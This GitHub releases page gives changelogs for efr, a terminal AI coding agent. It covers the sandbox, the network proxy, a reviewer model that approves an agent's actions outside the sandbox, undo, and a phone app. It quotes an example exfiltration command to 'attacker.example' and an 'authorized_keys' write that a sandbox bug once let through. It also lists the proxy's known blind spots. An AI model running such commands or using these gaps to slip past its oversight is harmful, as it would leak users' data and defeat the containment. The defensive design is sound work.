Repository navigation
Releases: eggfriedrice24/eggfriedrice.code
Releases · eggfriedrice24/eggfriedrice.code
Release list
efr 0.0.6
Added
- A preview of the efr phone app for iPhone, in
app/of the repository. It pairs
withefr device add, shows your conversations live, sends prompts to them and
answers the questions of the agent. It connects to efrd directly over Tailscale,
with no relay. The phone keeps its device key in the Secure Enclave and proves it on
each connection. The app is not in the App Store: you build it with EAS, as
app/README.mdtells, also for its dev, preview and production variants. It ran as a
dev build on an iPhone with iOS 26. A new page of the docs, "The
phone app", tells how to set up Tailscale and the listener, pair a phone, revoke
it, and what a phone cannot do. The troubleshooting page has a new section for the
phone. - A new
[remote]table inconfig.tomlfor the phone app:enabled(default
false),port(default 7419) andtailscaled_socket(default
/var/run/tailscale/tailscaled.sock). Each key needs a restart of efrd. - With
[remote] enabled = true, efrd listens for the phone app on the Tailscale
IPv4 address of this machine, and on no other address. It needs tailscaled 1.100 or
later with a TUN device (not userspace networking). efrd asks tailscaled who each
peer is before it reads a byte, and it lets in only a device of your own Tailscale
user that proves its paired key. It refuses this machine itself, tagged nodes,
shared nodes and other users. When Tailscale stops, or the address or the tailnet
changes, efrd closes the phone connections and listens again on the new address.
A revoked device loses its connections at once.daemon.jsonshows the address as
tailnet_endpoint. The settings tool marksremote.enabledand
remote.tailscaled_socketas changes that loosen permissions. efr device addpairs a phone with efrd. It shows a QR code in the terminal, below
the command line. The code holds a one-time token that is good for one phone and for
5 minutes. When the phone sends it, efr shows the phone's name, its Tailscale node
and user, and the fingerprint of its key, and asks you. Only your yes pairs the
phone.--invertswaps the dark and light parts of the code for a terminal with a
light background.efr device addneeds[remote] enabled = trueand Tailscale.efr device listshows the paired devices, also the revoked ones, with when each one
was paired and last seen.efr device revoke <id>takes a device's access away for
good; the id can be the start of an id, as the list shows it.- A question of the agent now tells a client why the permission mode of the turn
asks, in one plain line, such as "cautious asks before any network access." The
phone app shows it below the command. The terminal shows the question as before. - efrd can send a client each change of its lists of conversations as it happens
(conversations.watch): the title, the status and the count of turns of each
conversation, and its delete. The phone app uses it, so a new question or the end of
a turn shows in its lists at once. With an older efrd, the app asks again every 10
seconds. - The phone app pairs in one full screen, step after step: the command to run, the
scan, the name and the key to compare with the terminal, and the paired machine.
Each error has its own screen and one action: an expired code, a code of another
machine, Tailscale off, a no in the terminal, an efrd that is too old or too new, and
the camera off. When Tailscale was off, the app tries again by itself when you come
back to it. When no machine is paired, the app opens on the first step. - The phone app pairs with more than one machine, and connects to all of them at the
same time. Each machine has its own device key. Pair another one from Settings or
from the machine menu. Settings lists each paired machine with its connection and
its efrd version. The menu of a row copies the node name, pairs the machine again
or forgets it. Forget asks first, and after the last machine the app goes back to
pairing. Settings also has the Haptics switch and the version of the app. - The phone app opens on a blank conversation of the machine that you used last. Its
composer shows~and the mode of a new conversation. Your first message there
starts a new conversation on that machine, and the app opens it at once. The menu
at the left of the bar picks another machine. - Each screen of the phone app has a native bar, with Settings and New on the right.
The title opens the conversations sheet, the one place to switch conversations. On
iOS 26 the bar is Liquid Glass, and the system softens the transcript only under
the bar. The stack keeps at most 8 conversations, and a conversation that is in the
stack opens where it is. - The conversations sheet of the phone app lists the conversations of every machine:
"New conversation" on top, then the ones that wait for an answer, today, this week
and older. Each row has a glyph of its status, and its machine and directory under
the title. Its search finds a conversation by title, machine or directory, and then
asks efrd. Touch and hold a row to copy its title or its id. - A conversation in the phone app shows your prompts, the replies as they stream, the
reasoning, the tools that run, the edits with their diff, and a line at the end of
each turn. Tap a reasoning row or a tool block to open it, or "show all N lines" to
see the whole output. A failed turn shows its reason, with "retry" and "copy error".
Touch and hold a message to copy it, and a code block has its own copy button. The app
asks before it opens a link, and then opens it in the app. An image in a reply shows
as a link, and HTML shows as text, so a reply cannot make the phone load a URL. The
list follows new content only while you are near the end, and it does not move when
you open or close a block. A short conversation stays at the bottom. When you are more
than one screen from the end, "Jump to latest" takes you back. At the top of a long
conversation, the app gets the older turns from efrd and keeps them on the phone. When
the machine goes offline, the conversation keeps its transcript and gets the new
events when the machine is back. VoiceOver tells you when a question waits and when a
reply is done, and a turn that fails while you look at it gives an error haptic. - The composer of the phone app is a glass pill that floats over the end of the
transcript, with a status line at its top. It sends a prompt and stops the running
turn. While a turn runs, "Steer now" adds your text to the turn, and "Queue" sends
it when the turn ends; touch and hold the capsule to pick one. A queued prompt can be
withdrawn. A prompt shows at once, and the app sends it again after a lost
connection or after iOS closed the app; efrd runs it only once. The app keeps the
draft of each conversation. - A question of the agent in the phone app shows the command or the diff of the file,
the directory and why the mode asks, with Allow and Deny. A question that only your
computer can answer says "Answer on" and the name of the machine, with no buttons.
A question shows how long it can wait, and "expired while you were away" when its
time ran out while the app was closed. When another conversation waits for an
answer, a strip under the bar and a dot on the title tell you. A tap on the strip
opens that conversation at the question; when two or more wait, it opens the sheet
with them on top. - The phone app connects again at once when the phone changes its network, such as
from Wi-Fi to cellular. A glass capsule under the bar tells you when a machine is
offline or when Tailscale on the phone is off. - The phone app has its own icon, "the yolk": an egg with a yolk, and a ❯ in the yolk.
- A dev or preview build of the phone app has a gallery of every screen and state of
its design. A long press on the version in Settings opens it. Three demo machines
(desktop, laptop and homelab) play efrd inside the app and reach no computer, so you
can see each screen without a paired machine.
Changed
- A client that follows a turn live on a slow link no longer loses parts of the
streamed text. When efrd cannot send each part at once, it joins the parts and sends
them together as soon as the client reads again. The text then grows in larger
steps, with no gaps. - A client that opens a conversation while a turn runs now gets the text that the
model has sent so far, and the reasoning of the turn, at once. So the phone app shows
a running reply at once. - A question that only your own computer may answer (a command that runs as another
user, a background job, or a delete that full mode guards) now says so to every
client. efrd refuses an answer to it from a phone, and it also refuses from a phone
an input for a running command, such as a password.
efr 0.0.5
Added
- Each background job now runs in a cgroup of its own when efrd runs as its systemd
unit. The unit now hasDelegate=yes. When you stop a job, efr kills every process
of the job, also a process that left the job's session withsetsid.efr jobs list
and the model'sjobstool show the memory and the CPU time of each running job.
Without a delegated cgroup, a job ends by its session as before, andefr jobs list
says why. Install the new unit, then runsystemctl --user daemon-reloadand
restart efrd. - Ctrl+B also moves a command that a call left running in the hidden shell into a
background job, while the command waits for no input: in the turn view while no
call runs, and in,shell. A command outside the sandbox asks first, as a running
call does. The hidden shell is free at once, and the job's notice tells the agent
when the command ends. Before, such a command held the hidden shell until it ended. efr conversation delete <id>deletes a conversation and everything that efr keeps
of it: its events, its search text, the recordings of its hidden shell, its
$SCRATCH, its sandbox dirs, its snapshots and its undo trash. The id can be the
start of an id, asefr searchshows it. efr asks first on a terminal, and--yes
skips the question. Without a terminal, efr deletes only with--yes.- Before a delete, efrd stops the background jobs of the conversation and closes its
hidden shell. When another open terminal holds the conversation, or a turn runs in
it, efr asks again.--forcedeletes in both cases with no question. efr never stops
an undo that runs. If efrd stops during a delete, you never see half a
conversation: the conversation goes from every list and search at the first step,
and the next start of efrd removes the rest. - Ctrl+D in the
,resumepicker deletes the selected conversation after a question on
one line. Then the picker opens again with its query.
Changed
- efrd now deletes old recordings of the hidden shells' terminals. Once an hour, it
deletes the recording of a shell that exited more than 14 days ago
(recording.max_age_days), and, while all recordings take more than 2 GiB
(recording.max_gib), the oldest parts first. It always keeps the newest part, and
at least the last 1 MiB, of a shell that still runs. 0 turns a limit off. Before,
efrd kept every recording forever, so the data directory grew without a limit. A
client that resumes from output that was deleted gets a screen snapshot, or for an
exited shell, only what is left. - Some very long or deeply nested shell lines now get a stricter decision. Before,
each of these lines could make efrd use all its time and memory, or stop efrd with
all its conversations:- A line with many relative
cds is judged as aftercd -: a relative path may be
anywhere below/, so efr runs the line in the sandbox or asks you. This occurs
when the rest of the line may run in more than 1024 directories, that is, after
more than tencds into subdirectories in a row. - efr reads a command substitution inside another one down to 64 levels. A line
that nests deeper holds code that efr does not read: only you approve it outside
the sandbox, and full mode asks you before it runs. - An
askordenyrule for a program reads at most 16 forms of that program in
one command, such as eachgitafterenv. A command with more, such as
env git git git ..., matches the rule, so efr asks you or refuses it. Before,
10,000gitwords took about 1 second for each rule.
- A line with many relative
- An
askordenyrule forsystemctl,cargo,dockerorkubectlnow skips
the program's own options before the subcommand, as a rule forgitdoes. So a
rule forsystemctl restartalso asks forsystemctl --user restart nginx, a rule
forcargo publishforcargo +nightly publish, a rule fordocker pushfor
docker -H ssh://prod push app, and a rule forkubectl deletefor
kubectl -n prod delete pod web. An option that efr does not know counts both with
and without a value, so the rule asks rather than misses.cargo --configwith a
file or an alias, andkubectl --kuberc, can rename a subcommand, so the rule
matches every command with one of them. Anallowrule still compares the words
right after the program. - The diff of an approval preview and of a finished write now shows only the changed
hunks. Before, two small changes far apart in a large file showed as the whole file
removed and added again, and the added and removed counts were wrong. - In a long block that is still open (from 4 KB, such as a large table or a long list
item), the last line shows when it is complete, not letter by letter. A line of
code shows at once. - Long conversations are faster and use less memory. The request that the model gets
does not change, so the prompt cache of your provider still works:- After a compaction with a summary, a prompt reaches the model sooner, because a
turn no longer reads or rebuilds the earlier turns that the summary covers. In a
conversation of 2,000 turns, the time from the prompt to the model request went
from about 44 ms to about 21 ms. - A prompt starts with less work and less memory. efrd no longer reads the earlier
turns again from the database and the event log for each prompt, and a tool
output in memory no longer uses up to two times its size. After a restart of efrd
or 10 idle minutes, only the first prompt reads the earlier turns. In a test of 20
conversations of 50 turns, efrd allocates about one third less memory for each
turn. - In
auto, a shell call with background jobs no longer reads every turn of the
conversation to find when the previous turn started. - A terminal that attaches to a conversation with long answers shows it sooner.
With answers of 500 KB, this took about 340 ms. Now it takes about 20 ms. - With the OpenAI WebSocket transport, each connection keeps about 40 bytes for each
item of the history. Before, it kept a copy of all of the history of its last
call, which is several MB in a long conversation. A call also starts sooner. efr diff --stat --allreads the history in pages of 500 events, and it keeps
only the ends of the turns that changed files and the undos. For 20,000 events,
its peak memory went from about 28 MiB to about 12 MiB. When the history has more
than 1,000 pages, a dim line now says that efr adds up only the turns of the
newest 1,000. Before, efr left out the older turns and did not say so.
- After a compaction with a summary, a prompt reaches the model sooner, because a
- efrd gives memory back after an idle period. When a conversation was idle for 10
minutes, efrd no longer keeps its messages in memory, and the next prompt reads
them from the store. Then, when no turn ran for 30 seconds, efrd tells glibc to give
its free heap back to the system, at most one time in 5 minutes. In a test of 20
conversations of 50 turns, efrd then used about 60 MiB, about one third of its peak.
Before, efrd kept the messages of each conversation that ran a turn since it
started, so its memory grew with use, and it kept about 90% of its peak. - Calls in large projects and in your home directory are faster. Undo, the undo
trash and the list of what undo does not cover do not change:- The snapshots before and after a call in a project of 20,000 files took about
54 ms. Now they take about 18 ms, because git checks the files on more than one
thread. - After a command writes many files again, the next calls are fast again. With
5,000 files of 10 KB, each later call took about 210 ms. Now it takes about 6 ms. - The end of a turn whose snapshots leave out many paths, such as thousands of
ignored files, took about 20 seconds for 20,000 paths. Now it takes less than a
tenth of a second. - A call that can write in a large directory outside your projects took more than
12 seconds to start and end for 20,000 files. Now it takes less than a second. - A call that changes thousands of home files ends faster. A cache delete of 20,000
files took about 7 seconds. Now it takes about 1 second. - Each turn in a git repository starts one git process fewer, so a prompt in a
repository outside your projects also gets its answer sooner.efr undostarts
one git process for each file that it writes back, not two. Inauto, while
background jobs run in the project, a command starts faster, because efr runs git
only for a git config that changed since the last check.
- The snapshots before and after a call in a project of 20,000 files took about
- A command that prints much output uses less CPU. efr reads the output of the hidden
shell in chunks of up to 64 KiB, so it hands on 3 to 10 times fewer chunks. A prompt
still shows as soon as the shell prints it. With the ghostty screen, the result of a
command whose output moves the cursor, such as a build with a status line, is ready
sooner, because efr reads only the 1,000 newest rows of each screen. The text of the
result does not change. - Replies and question cards draw faster:
- A long reply streams with less CPU. Before, each draft of the model copied all of
the reply before it, and a reply of 1 MB used about 1 second of CPU. - A very long code block renders in a time that grows only with its length. Before,
100,000 lines in atextblock took about 4 s. Now they take less than 0.1 s. - A question card shows a long command fast. Before, a command line of 100 KB took
up to 2 seconds on a terminal that counts by grapheme cluster. - While a question waits for your answer, efr draws its card again only when the
card or the width of the terminal changes, not at each tick of the status row.
A card with a diff used about 1 ms of CPU for each tick. - The input row under a running turn draws a long paste in about half the time.
- A long reply streams with less CPU. Before, each draft of the model copied all of
Fixed
- A long shell line no longer stalls efrd before the call starts. The decision and its
...
efr 0.0.4
Added
- In
auto, a reviewer model now decides most actions that leave the sandbox, so you
see far fewer questions. It reads your messages and the facts that efr collects,
never the output of a command. It allows an action that fits what you asked,
refuses an action that nothing you said relates to, and gives an unsure case to
you. While it works, the status row showsreviewing: <command>. Its answer stays
as one line,reviewer allowed: ...orreviewer refused: .... An allow opens that
one path, host, socket or device for one call.docs/use/sandbox-basics.md,
"Exits", has the details. - The reviewer is the small model of your provider (
gpt-6-lunafor OpenAI,
claude-haiku-5-5for Claude). It writes a short reason before its verdict. When
the reason is empty, efr asks it once more. When the small model is missing,
refuses or gives no usable answer, the turn's model reviews, and then you decide.
Each review is one more request to your provider: with an API key, you pay for it.
The new[classifier]table sets the model, the effort, the timeout of each step
(20 seconds) and the fallback to the turn's model.classifier.enabled = false
asks you about each action that leaves the sandbox, as before. - You still decide these actions, never the reviewer:
sudoand other ways to more
rights, a delete of your home directory,/, a system directory or more than one
project, a read of a masked file, a write to a synced folder, a desktop command that
types or starts programs, a credential agent's socket (such as$SSH_AUTH_SOCK),
and a change of the settings. The whole session bus asks you too, also at another
path (such as one ofdbus-launchbelow/tmp), because it can start programs
outside the sandbox and read an unlocked keyring; the question says so. An upload,
such asgit push, and a delete above the project go to the reviewer only when a
message of yours names them. - The reviewer can allow a network call only when a message of yours names each host
that the line shows: the host of a URL, a remote operand ofscp,sftpor
rsync, or the destination ofssh. So "upload my notes" does not let
curl -d @notes.txt https://attacker.example/run with no question. A host, a path
or an upload counts as named only when your message is in the current turn or in
your turn before it: a "now do it" three turns after "commit and push" asks you.
After another terminal picked up the conversation, only your messages since then
count. The reviewer still reads all your messages. - After the reviewer refused 3 actions in a row, or 10 in one turn, it pauses for the
rest of the turn, and efr asks you instead. When you are away, the turn stops. - A network proxy for
auto, on by default (network.mode = "proxy"). A sandboxed
command now reaches the package registries and GitHub with no question: crates.io,
npm, PyPI, the Go module proxy, GitHub downloads and your pacman mirrors. So
cargo buildwith a new dependency,npm installandpip installrun at once.
efr checks each connection: the host must be on your allow list, it must not
resolve to a local or private address, and the TLS server name must match. Plain
http://gets through only for the hosts that you mark.network.allow,
network.deny,[[network.hosts]]andnetwork.max_upload_bytesset what the
proxy lets through. A command that names a host that is not on the list goes to the
reviewer for that one host and port.nslookup,dig,ping,ncand other
programs that do not use HTTP, servers that your browser must reach, services on
your machine or your LAN, and other ports still need the whole network after a
review. The proxy runs only when its self-test passes. If not,efr sandbox check
warns, and commands have no network.network.mode = "none"gives the old
behaviour: no network, and an exit that opens the whole network for one command.
docs/use/network.mdhas the details. - The proxy cannot see inside TLS. A sandboxed command can still send data to a host
on your allow list: at mostnetwork.max_upload_bytes(4 MiB) per command, counted
from the first byte of each connection. Hosts that fetch for the client (the Go
module proxy) and your own*.suffixentries widen this. A socket grant that
reaches the network, such as Docker's socket, goes around the proxy. Tools that send
an Encrypted Client Hello, such as headless Chrome, Electron and Playwright, cannot
fetch through the proxy. Node'sfetchuses the proxy through
NODE_USE_ENV_PROXY=1, so Node prints an "experimental" warning on stderr in
sandboxed commands.docs/sandbox.md, "What the proxy cannot stop", lists the
limits. - With the proxy, efr blocks a host for sandboxed commands, and says why, when a file
or a helper can give the command a token for that host. This covers a password or a
token for the host in your git config (also~/.gitconfigand its includes, also
for a command outside a project) or in the project's.npmrc,.yarnrc.yml,
.yarnrc,bunfig.tomlor.cargo/config.toml. It also covers a git credential
helper that can hand out a token: a!command, or a helper that efr does not know
(notlibsecret,store,cacheormanager), such asoauthor
pass-git-helper. The note names the helper. A helper for one site blocks only that
site. A helper for every site blocks the hosts of the repository's remotes. A
gh auth git-credentialhelper blocks no host while the sandbox hides gh's token,
sogit cloneandgit fetchfrom GitHub work in the sandbox. Move a token to a
file that the sandbox hides, such as~/.npmrc. A socket grant to git's credential
cache asks only you.efr sandbox checkwarns about eachsandbox.env_keepentry
that looks like a secret, because the proxy lets it reach the allowed hosts. - A command that the proxy refused shows
network: blocked <host:port> (<reason>),
and the model reads why. A host on the deny list, or a host that efr blocks for a
token, showsdenied for this command, and the model reads that no host grant
helps. A background job lists its refusals in the line of its end, in the view, in
efr historyand inefr jobs stop. The reviewer sees the hosts that the proxy
refused in the last command and in the jobs, but only as a fact, never as your
request. A denied host is not one of them. efr undotakes back the newest turn of this terminal's conversation. It shows
what it will do (restore, trash, delete, ref) and asksundo? y = yes, n = no. It
restores the files that the turn's commands changed in the project, in$SCRATCH,
in the other projects that the turn wrote and outside the projects, and the
branches that the turn moved. It also removes the empty directories that the turn
made outside the project, such as a*.wantsdirectory. A file that changed after
the turn stays, and the preview lists it;--forceoverwrites it. When only
--forceacts on the rows of the preview,efr undowithout it changes nothing
and fails with that hint. A change that you made during the turn between two
commands stays.--redotakes back the undo.--list,--turnand--dry-run
help you pick. Without a terminal,efr undoneeds--yes.
docs/use/undo-and-diff.mdhas the details.efr undokeeps your git index as it is. Every file that undo overwrites or removes
goes to~/.local/share/efr/undo-trash/first, and a directory that undo makes
again gets mode 0700. An undo that stops at a write that fails says
undo stopped: ..., and the nextefr undofinishes it. An undo that can write
nothing leaves the turn as it is. The preview of amanualorcautiousturn says
that writes outside the project are not covered.- After a stop of efrd, or for a call that you interrupted or that ran past its
timeout,efr undo --forcetakes back the changes of the turn's calls, also those
ofwrite_file,editandapply_patch. Such a turn says
not covered: <project> (a call did not finish)or
<path> (the call did not finish). efr undorefuses while a background job of the conversation runs, or while a job
of another conversation can write in the same project, and names the job:
job j3 runs; stop it first (efr jobs stop j3). A job outside the sandbox can write
everywhere, so it blocks every undo. When a job ends, its file changes join the turn
that started it, and the undo of that turn needs--force. A file that a later turn
changed in the meantime stays with that turn. When the job notice turn of a job's
end changed nothing,efr undowith no--turnpasses over it and takes back the
job's turn. Snapshots leave$SCRATCH/jobsout.- Undo also covers files outside the project in
auto. Before efr writes a file
outside the project and$SCRATCH, such as~/.zshrcor~/Documents/notes.md,
or deletes a cache, it copies the file into its snapshot store. A file that did not
exist before goes to the undo trash. A directory with more than
snapshot.home_max_filesfiles (2000) orsnapshot.home_max_mibMiB (256) gets no
copy, and the end of the turn says so. For a directory that holds a git repository,
such as~/noteswith~/notes/.git, efr copies the files but not the.git, and
the end of the turn says that undo does not cover~/notes/.git. - At the end of an
autoturn, one line says what changed and that you can take it
back:changed 4 files (+12 -3) in <project> and 2 in ~; efr undo reverts this turn.
A turn that only moved refs says
moved 1 ref in <project>; efr undo reverts this turn. A file inside the project,
such as.env, belongs to the project's snapshot, also when the sandbox hides it.
Files that undo cannot bring back, such as a large ignored file, show on a line
not covered: .... The lines come also when the turn failed or ...
efr 0.0.3
Added
- Model calls to OpenAI can go over a WebSocket, which cuts the time to the first
token. Each conversation keeps one connection open between the calls of a turn and
between turns, and closes it after 10 minutes without a call. Before a call on a
connection that had no call for 30 seconds, efr sends a ping. When the connection
died during a sleep of the computer or a change of network, the call goes over HTTP
after at most 5 seconds. While the connection holds the previous answer, a call
sends only its new input. A call that the server did not take on the WebSocket goes
over HTTP. An error answer on the WebSocket, such as a rate limit or a context
overflow, fails the call as it does over HTTP, without a second request. A call
whose request went out and whose connection then broke or went silent fails as on
HTTP and does not go out again, because the model may already run. When you
interrupt a turn, efr stops the answer on the connection and keeps the connection
for the next call. The new key[openai] websocketchooses the transport:auto
(the default) uses a WebSocket for each model that the model catalog marks with
prefer_websocketsand HTTP for the other models, so a new catalog from the backend
changes the choice from the next call.onuses it for every model, andoffuses
HTTP only. The key needs a restart of efrd. The debug log shows the time to the
first event of each call with its transport (phase=provider_acceptedand
phase=provider_first_event), so you can compare the two. - The model edits files with a new
apply_patchtool. One patch adds, changes,
deletes or moves one or more files, and it changes all of them or none: when a part
does not match, the model gets the nearest lines of the file and no file changes.
When you interrupt the turn while the patch writes, efr puts every file back.
The call shows the diff of each file. A change or a new file in the turn's project
or in$SCRATCHneeds no approval, as forwrite_file. A delete or a move always
asks, also inauto, because undo cannot bring the file back yet. The question
shows the diff of every file and marks each delete and move. The models that take
freeform tools get the tool with its grammar. When you change to a model that does
not take freeform tools, the earlier calls go to it in the form that it takes. The
system prompt tells the model to use it, and notsed -ior a whole-file write,
for an edit. efrshows anapply_patchcall by its files, such asapply_patch src/a.rs +3 −1, new notes.md +2, delete old.rs, and never the text of the patch. After the call,
each file gets its own diff block with a row that names it, and
render.diff_linesapplies to each file. The approval of a patch shows the diff of
every file, and marks a delete or a move in the warning colour. A file outside the
project,$SCRATCHand your home keeps its absolute path, such as/etc/hosts.
While the model writes the patch, the status row showspreparing apply_patch, 3.2 KB.- An input row below a running turn, in the terminal that follows it. Type there while
the turn runs: Enter steers the turn, Tab queues the text as a prompt behind it, Esc
interrupts it and Alt+Up takes back the newest prompt that you queued there. The row
edits like a shell line (arrows, Home, End, Ctrl+A/E/U/W/K, Alt+B/F), Ctrl+J adds a
newline, and a paste keeps its newlines. Keys that you type while the prompt goes
out land in the row too. An approval takes only the keys that you type after it
shows: keys typed before it and the rest of a paste stay in the row. While the
output of a command ends with a password prompt, the row hides, and what you type
never goes to the model as a steer. A complete output line that only names a
password, asgrep passwordprints, does not hide the row.
render.turn_input = falseturns the row off. - Steers that the model did not read yet show above the status row as
↳ steer:, and
prompts that you queued as↳ queued:. When a model call reads a steer, it moves
into the reply as your message. A steer that comes too late for its turn waits in
the queue instead. efrfollows each prompt that you queue from the input row after the turn before
it, and ends after the last one. Esc sends the steers that the model did not read as
a new prompt, and puts the prompts that you queued back into the row, so nothing
runs that you did not see. Esc stops the turn also when the queue is full or when
the settings of your terminal do not work now: the steers then go with the settings
of the stopped turn. Ctrl+C clears the row; on an empty row it interrupts the
turn and also takes back the prompts that you queued there and the steers that the
model did not read. A prompt that still waits behind another turn is taken back
instead, by Esc and by Ctrl+C. When efrd does not answer Ctrl+C in time, or the
connection ends, all of that text goes back to your shell with a note, so no text
is lost.- Text that is still in the input row when
efrends goes back to your zsh command
line as, <text>, so you can edit it and send it again. Without the zsh plugin,
efrshows it as one muted line. Eachefrrun gets a file of its own, so the
texts of two runs before the next prompt both come back, also from a pipeline or
after you source the plugin again. A new shell removes only the files of gone
shells in its own pid namespace, so a shell in a container (distrobox, toolbox)
keeps its text. - When efrd restarts while
efrfollows a turn with the input row,efrconnects
again. Prompts that you queued and steers that the model did not read come back to
your command line when the restart cancelled them. A steer or a prompt whose answer
the restart lost is not sent twice. When efrd does not come back, they come back
too. SIGTERM and SIGHUP endefrat once also while it connects again. - The diff of each file write shows in its call block, in the diff colours: the first
render.diff_lineslines (default 20), then a muted… N more lines. This works in
every directory. - A shell call that changed files gets one muted row under its result, such as
changed src/a.rs +3 −1 · deleted old.rs · new notes.md (+2 more). A turn that
changed files gets a muted line such as3 files changed, +24 −7before its end.
This works in registered projects (git or not) and in$SCRATCH. The row and the
line show what changed while the call or the turn ran, also a file that another
conversation or your editor saved at the same time. efr diffprints what a turn changed: by default the last turn of this terminal's
conversation,--turn <id>for another,--statfor the list of files. In a pipe it
writes the plain diff. An ignored file such as.envshows in the list, but its
content stays out of the diff.- efr's own snapshot store: one bare git repository per registered project or
$SCRATCHbelow the data directory. It never writes the project's.gitor index.
The[snapshot]table sets it (snapshot.enabled, size limits,keep_turns,
max_age_days). - efrd has the parts that the input row of a turn needs. A steer that comes too late
for the running turn can become a queued prompt (turn.steerwithif_late). You
can take back a prompt that waits in the queue before it starts (prompt.withdraw).
An interrupt can take back the queued prompts of one terminal and send its unread
steers again as one new prompt, which runs next with the settings of that terminal.
An interrupt can also take back unread steers, so that no model call reads them
(steering_withdrawn). efrd records when a model call reads a steer
(steering_delivered).efr historyshows a prompt that you took back as
withdrawn before it ran, and steers that you took back astook back a steer that the model did not read. - efrd sends the conversation id as the prompt cache key of every model request, and
on the subscription also as thesession-idheader, as Codex does. The requests of
one conversation then go to the same prompt cache. turn_completed,turn_failedandturn_interruptedsay how full the model's
context is (context: the tokens, the point where efrd compacts and the window).
Theirusagealso gives the cached input tokens, the reasoning tokens and the
context of the last model call (context_tokens). A client that follows a turn gets
acontextdraft before and after each model call.- An entry of
[openai] modelscan be a table that gives the model's limits:
{ id = "gpt-next", context_window = 400000, max_output_tokens = 128000 }. An
entry can also name a built-in model to change its limits.models.listshows the
context window of each model that efr knows. On an API key, a model's own output
limit wins over[model] max_output_tokens. - efr compacts the context of a conversation before it fills the model's window. When
a request reaches[compaction] auto_atpercent of the window (76 by default),
efrd first gives old tool outputs a short stub, when that frees at least 20000
tokens. When that is not enough, the conversation's own model writes a summary with
fixed sections: the task and its state, the decisions, the important details, the
files and places, the open work and the next step, the directories and the shell,
and the open system tasks. The next requests send a fresh block that efrd reads from
disk (your directory, the hidden shell's directory and its jobs, the git status and
theAGENTS.mdfiles from the project root down), the summary, and the newest
messages word for word, about 20000 tokens. The turn goes on after the compaction.
[compaction] auto = falseturns it off. All events stay in the log. The history
keeps every earlier turn that the model's window can hold, so the compaction makes
room, not a limit ...
efr 0.0.2
The reply view is new: replies stream without lag, a status row shows what runs, and
tool calls and questions have a clear layout. This release also fixes two sandbox
bugs.
Added
- Streaming drafts. efrd sends the text of a running turn to the reply view every
16 ms, and never writes these drafts to the event log. A reply now reaches the
screen about 7 ms after the model sends it (it was about 100 ms). - A status row under the reply while a turn runs: a spinner, the state (waiting for
the model, thinking with the title of the reasoning, writing, preparing a tool call,
stalled, waiting for you) and the time. The clock stops while a question waits.
render.motion = falseturns the shimmer off. - An end-of-turn line, such as
done in 24s, 18.2k tokens in, 1.1k out
(render.turn_summary). - A progress indicator in the terminal tab during a turn (OSC 9;4), in Ghostty 1.2 or
newer, kitty 0.47 or newer and Windows Terminal, but not in tmux, GNU screen or
zellij (render.progress). - Colour roles for every part of the view: text, muted, accent, heading, link, code,
success, warning, error, quote and the diff roles.[render.colors]sets one role,
andrender.paletteloads a theme file with a[colors]table and an optional
code_theme(a.tmThemefile). The eggfriedrice.nvim colour scheme ships such a
file asextras/efr/eggfriedrice.toml. render.theme = "auto"withrender.theme_darkandrender.theme_light. The zsh
plugin asks the terminal for its background once and setsEFR_TERMINAL_BG.- Character widths by grapheme cluster in Ghostty, so emoji and flags no longer shift
the live zone. - Debug log lines with the time of each step of a call (
phase=... elapsed_ms=...).
docs/sandbox.mdtells how to read them. CHANGELOG.md, and release notes that come from it.
Changed
- Tool calls are blocks:
· $ commandin the code colour, a muted│output tail
while it runs, and a result row (✓ 0.4sor✗ exit 3 · 2.0s). A failed call keeps
its last 3 output lines. A long command wraps at the width and is never cut. - Questions are cards with a thin muted bar and a title such as
? allow outside the sandbox. After the answer, a card gives its place to one line,
✓ allowedor✗ denied, and the command shows only once. - One blank line between blocks, and none inside a block.
- Markdown: no label above plain code blocks, a file name when the fence names one,
inline code in the code colour, one heading colour, quotes in italic, and a rule of
at most 40 columns. - The default accent colour is yellow (ANSI slot 3).
sudo -k(and-K,--reset-timestamp,--remove-timestamp) can stand beside the
one command of a line that runs outside the sandbox.- A failed call no longer says
(sandbox)in its result; the end-of-turn note says
that the turn ran in the sandbox. - A question no longer says that its target exists. It still says when a target is a
directory, because a write grant then opens all of it. - The reply view no longer prints
answer sentafter a password answer.
Fixed
- A redirect to
/dev/null(and to the other nodes of the sandbox's own/dev) was a
write exit inauto: the line asked you and then ran outside the sandbox with your
full rights. It now runs in the sandbox with no question. - A command line that wraps inside a word no longer looks like two words; such a cut
is marked with↩. - When stdout is not a terminal, a call's rows come after its question and answer, as
on a terminal. - The status row no longer shows the reasoning title of an earlier model call.
- Ctrl+C during a turn says how long the turn ran.
- The cursor always comes back, also after a signal.
Security
- A path below
/dev/fd/<n>/or/dev/pts/<n>/counted as a node of the sandbox's
own/dev, so a write such asecho x > /dev/fd/3/authorized_keyscould run with no
question. Now only/dev/fd/<n>and/dev/pts/<n>themselves count; a path below
them is a write exit that only you can allow.